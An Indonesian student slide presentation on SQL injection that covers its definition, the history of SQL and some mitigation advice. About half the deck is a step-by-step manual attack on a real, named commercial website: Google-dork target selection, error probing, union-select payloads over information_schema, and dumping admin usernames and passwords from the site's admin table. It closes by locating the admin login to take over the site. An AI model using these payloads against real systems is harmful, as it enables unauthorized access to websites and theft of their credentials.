Upload presentasi
Presentasi sedang didownload. Silahkan tunggu
Diterbitkan olehBenny Tanudjaja Telah diubah "6 tahun yang lalu
1
Dosen Pengasuh: Evanita V. Manullang MT
K E L O M P O K V KEAMANAN KOMPUTER Dosen Pengasuh: Evanita V. Manullang MT
2
WELCOME “SQL INJECTION” Kelompok V
3
Profile JAMAL ADRIYANTO 13 411 028 RIZYA N.T. ESURU DANHERTIN M. LAHU
Anggota Kelompok: RIZYA N.T. ESURU DANHERTIN M. LAHU JAMAL ADRIYANTO HARYO WIDAGDO ESA ANNIN SULIVAN MISDAL
4
Pengertian SQL Injection
SQL injection adalah kegiatan menyisipkan perintah SQL kepada suatu statement SQL yang ada pada aplikasi yang sedang berjalan. Dengan kata lain SQL injection ini merupakan suatu tehnik pengeksploitasi pada web apilikasi yang didalamna menggunakan database untuk penyimpanan datanya. Terjadinya SQL injection tersebut dikarenakan security atau keamanan pada level aplikasi (dalam hal ini aplikasi web) masih kurang sempurna. Kurang sempurnanya adalah pada cara aplikasi meng-handle inputan yang boleh di proses ke dalam database. Misalnya pada suatu web yang terdapat fasilitas login, terdapat dua buah inputan pada umumnya, yaitu username dan password. Jika karakter yang masuk melalui dua buah inputan tersebut tidak difilter (disaring) dengan baik maka bisa menimbulkan efek SQL injection, ini dikarenakan biasanya inputan tersebut secara sistem akan menjadi bagian dari kriteria dari suatu perintah SQL di dalam aplikasi web-nya. Kelompok V
5
SEJARAH SQL Injection Sejarah SQL dimulai dari artikel seorang peneliti dari IBM bernama EF Codd yang membahas tentang ide pembuatan basis data relasional pada bulan Juni Artikel ini juga membahas kemungkinan pembuatan bahasa standar untuk mengakses data dalam basis data tersebut. Bahasa tersebut kemudian diberi nama SEQUEL (Structured English Query Language). Setelah terbitnya artikel tersebut, IBM mengadakan proyek pembuatan basis data relasional berbasis bahasa SEQUEL. Akan tetapi, karena permasalahan hukum mengenai penamaan SEQUEL, IBM pun mengubahnya menjadi SQL. Implementasi basis data relasional dikenal dengan System/R. Di akhir tahun 1970-an, muncul perusahaan bernama Oracle yang membuat server basis data populer yang bernama sama dengan nama perusahaannya. Dengan naiknya kepopuleran Oracle, maka SQL juga ikut populer sehingga saat ini menjadi standar de facto bahasa dalam manajemen basis data. Standarisasi SQL dimulai pada tahun 1986, ditandai dengan dikeluarkannya standar SQL oleh ANSI. Standar ini sering disebut dengan SQL86.Standar tersebut kemudian diperbaiki pada tahun 1989 kemudian diperbaiki lagi pada tahun Versi terakhir dikenal dengan SQL92. Pada tahun 1999 dikeluarkan standar baru yaitu SQL99 atau disebut juga SQL99, akan tetapi kebanyakan implementasi mereferensi pada SQL92. Saat ini sebenarnya tidak ada server basis data yang 100% mendukung SQL92. Hal ini disebabkan masing-masing server memiliki dialek masing-masing. Secara umum, SQL terdiri dari dua bahasa, yaitu Data Definition Language (DDL) dan Data Manipulation Language (DML). Implementasi DDL dan DML berbeda untuk tiap sistem manajemen basis data (SMBD), namun secara umum implementasi tiap bahasa ini memiliki bentuk standar yang ditetapkan ANSI. Artikel ini akan menggunakan bentuk paling umum yang dapat digunakan pada kebanyakan SMBD. Kelompok V
6
KARAKTERISITIK Karakaterisitik SQL injection
Teknik serangan ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki account. memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database. Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada web server. Kelompok V
7
MEMINIMALISIR Cara MeMiniMalisir SQL Injection
Ada beberapa cara yang dapat digunakan untuk meminimalisasikan terjadinya serangan SQL injection diantaranya adalah sebagai berikut : Warning atau Error pada query tidak perlu ditampilkan. Lebih baik dibuat script yang akan langsung memfeedback log error/warning ke developer/adminnya jika terjadi kesalahan query, sementara di end-user bisa ditampilkan, misal error 404. ada beberapa web hosting yang memberikan penamaan yang sama untuk direktori usernya (shared hosting), misal /sompret/x2324/nama-domain (dimana sompret selalu sama untuk setiap user dalam satu mesin, x2324 adalah username, dan nama-domain adalah nama domain yang digunakan si x2324. Pesan warning dan error query yang terjadi akibat script akan menampilkan path letak file tersebut. Akan lebih parah lagi jika user memberi permission 777 ke dir / file. Developer hendaknya melakukan validasi terhadap URL dan memfilter bentuk request yang menjurus terhadap tindakan injeksi. Jangan pernah dumping database ke direktori yang tidak restrict permissionnya / publik. Dan penamaan terhadap file hasil dumping database diusahakan tidak umum seperti pemberian tanggal-bulan-tahun (misal : sql). Beberapa third party atau extension / module suatu CMS yang menggunakan konfigurasi default bisa ditebak direktori dan nama filenya. Kelompok V
8
4. Lakukaan audit sendiri dengan berbagai macam tools yang ada.
5. Jika dana tidak mencukupi maka tidak ada salahnya konsultasi dengan pihak yang lebih pandai tentang SQL Injection. Kelompok V
9
AKSI SQL Injection Ada 2 cara yang bisa dilakukan untuk sql injection
Langkah-langkah melakukan SQL Injection Ada 2 cara yang bisa dilakukan untuk sql injection Manual software Kelompok V
10
Penyerangan dengan cara Manual
Step by step Menentukan target! 1 Cara mencari target yang akan di crak dengan menggunakan google Dork Setelah target ditemukan 2 Langsung di cek apakah situs tersebut Vulnerable terhadap sql Injection atau tidak Cara mengeceknya yaitu dengan menambahkan karakter (‘) di belakang ID Url-nya Kelompok V
11
3 http://morningkiss.com.my/product_detail.php?id=116
Jadinya seperti ini Setelah diberi karakter (‘) dibelakan url dan terjadi Error, maka situs tersebut vulnerable terhadap Sql Injection 3 "Fatal error: Call to a member function Recordcount() on a non-object in /home/agan/sites/morningkiss.com.my/public_html/product_detail.php on line 60" Berikut contoh-contoh error pada web yang terkena celah SQL Injection -You have an error in your SQL syntax; -Warning: mysql_fetch_array() -Warning: mysql_num_rows() Kelompok V
12
kemudian kita melanjutkan dengan melihat isi database dari situs tersebut menggunakan perintah Query
Sebelumnya kita harus mengetahui ada berapa column database tersebut dengan cara memberikan perintah "order by 1--+-" pada akhir url id 4 Jadinya seperti ini: order by 1--+- error pada "order by " jika di tulis di url order by 9--+- Kelompok V
13
setelah kita mengetahui ada 8 column sekarang kita juga harus mengetahui dimana letak isi column pada laman web tersebut di antara 8 column itu dengan perintah "union select 1,2,3,4,5,6,7,8--+-" dan sebelum id url tersebut kita berikan karakter (-) urlnya menjadi : union select 1,2,3,4,5,6,7,8--+- 5 Setelah dicoba, maka muncul angka-angka yang seblumnya tidak ada yaitu: 2 Dan 6 Pada angka 2 dan 6 inilah letak laman pada web tersebut. Kelompok V
14
6 untuk melihat isi nama-nama database kita menggunakan perintah
Sebeleum melanjutkan langhkah berikutnya, kita harus mengecek versi database yang digunakan. untuk melihat isi nama-nama database kita menggunakan perintah group_concat(table_name)" dan lalu di akhir url sebelum karakter "--+-" kita tambahkan perintah "from+information_schema.tables+where+table_schema=database()" jadi urlnya menjadi : union select 1,group_concat(table_name),3,4,5,6,7,8+from+information_schema.tables+where+table_schema=database()--+- 6 Setelah column pada database ditemukan selanjutnya mencari column yang menyimpan data User atau Admin, Kelompok V
15
7 Pada web ini terdapat pada column “tbl_admin
bongkar isi table tbl_admin tersebut dengan mengubaha sedikit perintah sebelumnya,jadi perintah "group_concat(table_name)" di ubah menjadi "group_concat(column_name)" dan perintah "from+information_schema.tables+where+table_schema=" 7 menjadi "from+information_schema.columns+where+table_name=" lalu "database()" di ubah menjadi Decimal tbl_admin,nah untuk mengubah teks "tbl_admin" menjadi Decimal kita bisa menggunakan add-ons yang terdapat pada mozilla firefox yaitu add-ons yang bernama HackBar Kelompok V
16
setelah itu masukan teks yang ingin di ubah ke Decimal contoh kasus disini ialah "tbl _admin" dan kita dapatkan hasilnya yaitu "CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)" setelah informasi sudah di dapatkan lalu kita masukan perintahnya untuk melihat isi table tbl_admin tersebut, jadi urlnya menjadi : union select 1,group_concat(column_name),3,4,5,6,7,8+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+- 8 pada saat kita gunakan perintah tersebut kita temukan ada column database untuk username admin dan password admin Ubah perintah sebelumnya yaitu "group_concat(column_name)" dengan "group_concat(admin_username,0x3a,admin_password)" dan "+from+information_schema.columns+where+table_name=CHAR(116, 98, 108, 95, 97, 100, 109, 105, 110)--+-" menjadi "+from+tbl_admin--+-" Kelompok V
17
9 Admin loginnya biasanya terletak pada “Admin” atau Administrators
Url Terakhirnya menjadi : union select 1,group_concat(admin_username,0x3a,admin_password),3,4,5,6,7,8+from+tbl_admin--+- Setelah username dan Password ditemukan langkah terakhir adlah dengan mencari tempat admin loginnya Admin loginnya biasanya terletak pada “Admin” atau Administrators jika tidak nemu login adminnya kalian bisa gunakan software "Acunetix Web Vulnerability Scanner" ini adalah software yang di gunakan webmaster untuk mengecek security web mereka tapi bisa juga kita gunakan untuk mencari admin login 9 Atau bias menggunakan software Dirbuster yang disediakan oleh Java Setelah admin login ditemukan selanjutnya langsung menjelajah isi dari web tersebut. Kelompok V
18
Kelompok V: SQL Injection
THANK YOU! Any Questions? Kelompok V: SQL Injection
Presentasi serupa
© 2024 SlidePlayer.info Inc.
All rights reserved.